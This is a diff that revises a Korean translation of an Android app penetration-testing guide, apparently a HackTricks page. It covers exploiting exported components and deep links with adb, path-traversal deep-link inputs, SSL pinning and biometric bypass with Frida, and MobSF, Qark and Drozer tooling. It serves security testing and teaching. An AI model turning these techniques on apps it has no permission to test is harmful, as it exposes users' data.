@ -157,15 +157,15 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
|
||||
**Use of Insecure and/or Deprecated Algorithms**
|
||||
|
||||
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 가능한 해시를 사용해야 합니다.
|
||||
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항성**이 있는 해시를 사용해야 합니다.
|
||||
|
||||
### Other checks
|
||||
|
||||
- **APK를 난독화**하여 공격자의 리버스 엔지니어링 작업을 어렵게 하는 것이 좋습니다.
|
||||
- **APK를 난독화**하여 공격자가 리버스 엔지니어링 작업을 어렵게 만드는 것이 좋습니다.
|
||||
- 앱이 민감한 경우(예: 은행 앱) **모바일이 루팅되었는지 확인하는 자체 검사를 수행**하고 그에 따라 행동해야 합니다.
|
||||
- 앱이 민감한 경우(예: 은행 앱) **에뮬레이터**가 사용되고 있는지 확인해야 합니다.
|
||||
- 앱이 민감한 경우(예: 은행 앱) **실행하기 전에 자체 무결성을 확인**하여 수정되었는지 확인해야 합니다.
|
||||
- [**APKiD**](https://github.com/rednaga/APKiD)를 사용하여 APK를 빌드하는 데 사용된 컴파일러/팩커/난독화 도구를 확인하세요.
|
||||
- [**APKiD**](https://github.com/rednaga/APKiD)를 사용하여 APK를 빌드하는 데 사용된 컴파일러/패커/난독화 도구를 확인하세요.
|
||||
|
||||
### React Native Application
|
||||
|
||||
@ -278,7 +278,7 @@ You need to activate the **debugging** options and it will be cool if you can **
|
||||
|
||||
> [!WARNING]
|
||||
> **Android 4.0** 이후 버전에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\
|
||||
> 어쨌든, **민감한 정보를 로그로 남기지 않는 것이 여전히 권장됩니다**.
|
||||
> 어쨌든, **민감한 정보를 로그에 기록하지 않는 것이 여전히 권장됩니다**.
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
@ -286,7 +286,7 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 남기지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다.
|
||||
애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다.
|
||||
|
||||
펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**.
|
||||
|
||||
@ -296,16 +296,16 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\
|
||||
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 발견할 수 있기 때문입니다.\
|
||||
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다.
|
||||
|
||||
데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 찾을 수 있다면 여전히 **취약점**입니다.
|
||||
데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다.
|
||||
|
||||
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다.
|
||||
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열하세요.
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정**하고 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
|
||||
Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자**를 **악용**하는 데 유용한 도구입니다.
|
||||
|
||||
### Exploiting exported Activities
|
||||
@ -326,14 +326,14 @@ adb에서 내보낸 활동을 시작할 수도 있습니다:
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용하는 것을 악성으로 감지하지만, [이것](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에, 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다.
|
||||
**NOTE**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용할 경우 악성으로 감지하지만, [이것](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에, 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다.
|
||||
|
||||
> [!TIP]
|
||||
> 권한 우회가 항상 취약점이 되는 것은 아니며, 이는 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다.
|
||||
> 권한 우회가 항상 취약점은 아니라는 점에 유의해야 하며, 이는 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다.
|
||||
|
||||
**민감한 정보 유출**
|
||||
|
||||
**활동은 결과를 반환할 수도 있습니다**. 만약 당신이 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는다면, 민감한 정보 유출이 발생합니다.
|
||||
**활동은 결과를 반환할 수도 있습니다**. 만약 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는 데 성공한다면, 민감한 정보 유출이 발생합니다.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
@ -341,23 +341,23 @@ Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **
|
||||
|
||||
### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작
|
||||
|
||||
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#content-provider)\
|
||||
콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
|
||||
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이걸 읽어보세요.**](android-applications-basics.md#content-provider)\
|
||||
콘텐츠 제공자는 기본적으로 **데이터를 공유하는** 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
|
||||
|
||||
[**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **서비스 악용**
|
||||
|
||||
[**서비스가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#services)\
|
||||
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 것을 기억하세요.
|
||||
[**서비스가 무엇인지 새롭게 알고 싶다면 이걸 읽어보세요.**](android-applications-basics.md#services)\
|
||||
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 점을 기억하세요.
|
||||
|
||||
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며, **응답**(또는 응답하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보 추출**, 인증 우회 등을 위해 **동적으로** **테스트**해야 합니다.\
|
||||
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며, **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보 추출**, 인증 우회 등을 위해 **동적으로** **테스트**해야 합니다.\
|
||||
[**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **브로드캐스트 수신기 악용**
|
||||
|
||||
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
|
||||
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 것을 기억하세요.
|
||||
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이걸 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
|
||||
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 점을 기억하세요.
|
||||
|
||||
브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\
|
||||
[**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](#exploiting-broadcast-receivers)
|
||||
@ -365,7 +365,7 @@ Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **
|
||||
### **스킴 / 딥 링크 악용**
|
||||
|
||||
MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)와 같은 스크립트를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\
|
||||
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수** 있습니다:
|
||||
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수 있습니다**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
@ -388,8 +388,8 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 해당 링크를
|
||||
|
||||
**경로의 매개변수**
|
||||
|
||||
**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다.** 예: `https://api.example.com/v1/users/{username}`. 이 경우, `example://app/users?username=../../unwanted-endpoint%3fparam=value`와 같은 경로 탐색을 강제할 수 있습니다.\
|
||||
애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기](http://dphoeniixx.com/2020/12/13-2/)에서 확인하세요.
|
||||
**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다.** 예: `https://api.example.com/v1/users/{username}`. 이 경우, `example://app/users?username=../../unwanted-endpoint%3fparam=value`와 같이 경로 탐색을 강제할 수 있습니다.\
|
||||
애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기에서](http://dphoeniixx.com/2020/12/13-2/) 확인하세요.
|
||||
|
||||
**더 많은 예시**
|
||||
|
||||
@ -397,9 +397,9 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 해당 링크를
|
||||
|
||||
### 전송 계층 검사 및 검증 실패
|
||||
|
||||
- **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다.** 이러한 애플리케이션이 경고를 간과하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다.
|
||||
- **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다.** 이러한 애플리케이션이 경고를 무시하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다.
|
||||
- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다.** 안전하지 않은 암호 모음을 사용하는 경우가 있습니다. 이 취약점은 연결을 중간자(MITM) 공격에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
|
||||
- **민감한 정보의 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다.
|
||||
- **민감한 정보의 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티로부터 차단하지 못합니다.
|
||||
|
||||
#### 인증서 검증
|
||||
|
||||
@ -415,7 +415,7 @@ HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해
|
||||
|
||||
**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성을 수정하는 방법에 대한 지침은 [**이 튜토리얼**](make-apk-accept-ca-certificate.md)을 참조하세요.
|
||||
|
||||
**Flutter**를 사용하는 경우 [**이 페이지**](flutter.md)의 지침을 따라야 합니다. 이는 인증서를 저장소에 추가하는 것만으로는 작동하지 않기 때문입니다. Flutter는 자체 유효한 CA 목록을 가지고 있습니다.
|
||||
**Flutter**를 사용하는 경우 [**이 페이지**](flutter.md)의 지침을 따라야 합니다. Flutter는 자체 유효한 CA 목록을 가지고 있기 때문에 인증서를 저장소에 추가하는 것만으로는 작동하지 않습니다.
|
||||
|
||||
#### SSL 핀닝 우회
|
||||
|
||||
@ -462,7 +462,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Keystore의 민감한 데이터**
|
||||
|
||||
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** pentests는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
|
||||
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 루트 사용자로서 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있는지 확인해야 합니다.
|
||||
|
||||
앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다.
|
||||
|
||||
@ -484,7 +484,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
|
||||
스냅샷은 일반적으로 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창의 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
|
||||
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -494,7 +494,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
### 인텐트 주입
|
||||
|
||||
개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 활동, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다.
|
||||
개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 액티비티, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다.
|
||||
|
||||
위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있는 경우입니다.
|
||||
|
||||
@ -533,33 +533,33 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
MobSF는 **Android**(apk)**, IOS**(ipa) **및 Windows**(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_).\
|
||||
또한, **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다.
|
||||
|
||||
MobSF는 **diff/비교** 분석을 허용하고 **VirusTotal**과 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
|
||||
MobSF는 **diff/Compare** 분석을 허용하고 **VirusTotal**와 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
|
||||
|
||||
### MobSF를 이용한 보조 동적 분석
|
||||
|
||||
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작**한 후 **MobSF를 시작해야 합니다.**_\
|
||||
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\
|
||||
**MobSF 동적 분석기**는 다음을 수행할 수 있습니다:
|
||||
|
||||
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되지만 스크린샷은 원할 때 눌러야 하며, 모든 내보낸 활동의 스크린샷을 얻으려면 "**Exported Activity Tester**"를 눌러야 합니다.
|
||||
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 원할 때 눌러야 하거나 "**Exported Activity Tester**"를 눌러 모든 내보낸 활동의 스크린샷을 얻어야 합니다.
|
||||
- **HTTPS 트래픽 캡처**
|
||||
- **Frida**를 사용하여 **런타임** **정보**를 얻기
|
||||
|
||||
Android **버전 > 5**에서는 **자동으로 Frida**를 시작하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다.
|
||||
Android **버전 > 5**에서는 **자동으로 Frida를 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다.
|
||||
|
||||
**Frida**
|
||||
|
||||
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\
|
||||
MobSF는 또한 **내보낸 활동을 호출**하고, 그들의 **스크린샷**을 캡처하여 **보고서**에 저장할 수 있습니다.
|
||||
MobSF는 내보낸 활동을 **호출**하고, 그 스크린샷을 **캡처**하여 보고서에 **저장**할 수 있습니다.
|
||||
|
||||
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에 의해 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환된 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
|
||||
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다).
|
||||
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에서 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
|
||||
MobSF는 자신의 **Frida 스크립트**를 로드할 수 있도록 허용합니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다).
|
||||
|
||||
.png>)
|
||||
|
||||
또한, 몇 가지 보조 Frida 기능이 있습니다:
|
||||
|
||||
- **로드된 클래스 나열**: 모든 로드된 클래스를 출력합니다.
|
||||
- **문자열 캡처**: 애플리케이션을 사용하는 동안 캡처된 모든 문자열을 출력합니다 (매우 시끄러움).
|
||||
- **문자열 캡처**: 애플리케이션을 사용하는 동안 모든 캡처된 문자열을 출력합니다 (매우 시끄러움).
|
||||
- **문자열 비교 캡처**: 매우 유용할 수 있습니다. **비교되는 2개의 문자열**과 결과가 True인지 False인지 보여줍니다.
|
||||
- **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 출력합니다.
|
||||
- **클래스 패턴 검색**: 패턴으로 클래스를 검색합니다.
|
||||
@ -569,7 +569,7 @@ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf는 또한 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **셸** **명령**을 포함한 셸을 제공합니다. 몇 가지 흥미로운 명령:
|
||||
Mobsf는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 포함한 셸을 제공합니다. 몇 가지 흥미로운 명령:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -580,10 +580,10 @@ receivers
|
||||
```
|
||||
**HTTP 도구**
|
||||
|
||||
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\
|
||||
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 또는 "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\
|
||||
이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아볼 수 있습니다.
|
||||
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾을 수 있습니다.
|
||||
|
||||
> [!TIP]
|
||||
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 이를 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다:
|
||||
@ -605,7 +605,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 취약점(노출된 활동, 인텐트, 탭재킹 등)을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다. Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
|
||||
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다 (노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -625,7 +625,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지하는 방식으로 이루어집니다.
|
||||
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지하는 방식으로 작동합니다.
|
||||
|
||||
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 생성할 수 있습니다.
|
||||
|
||||
@ -688,13 +688,13 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
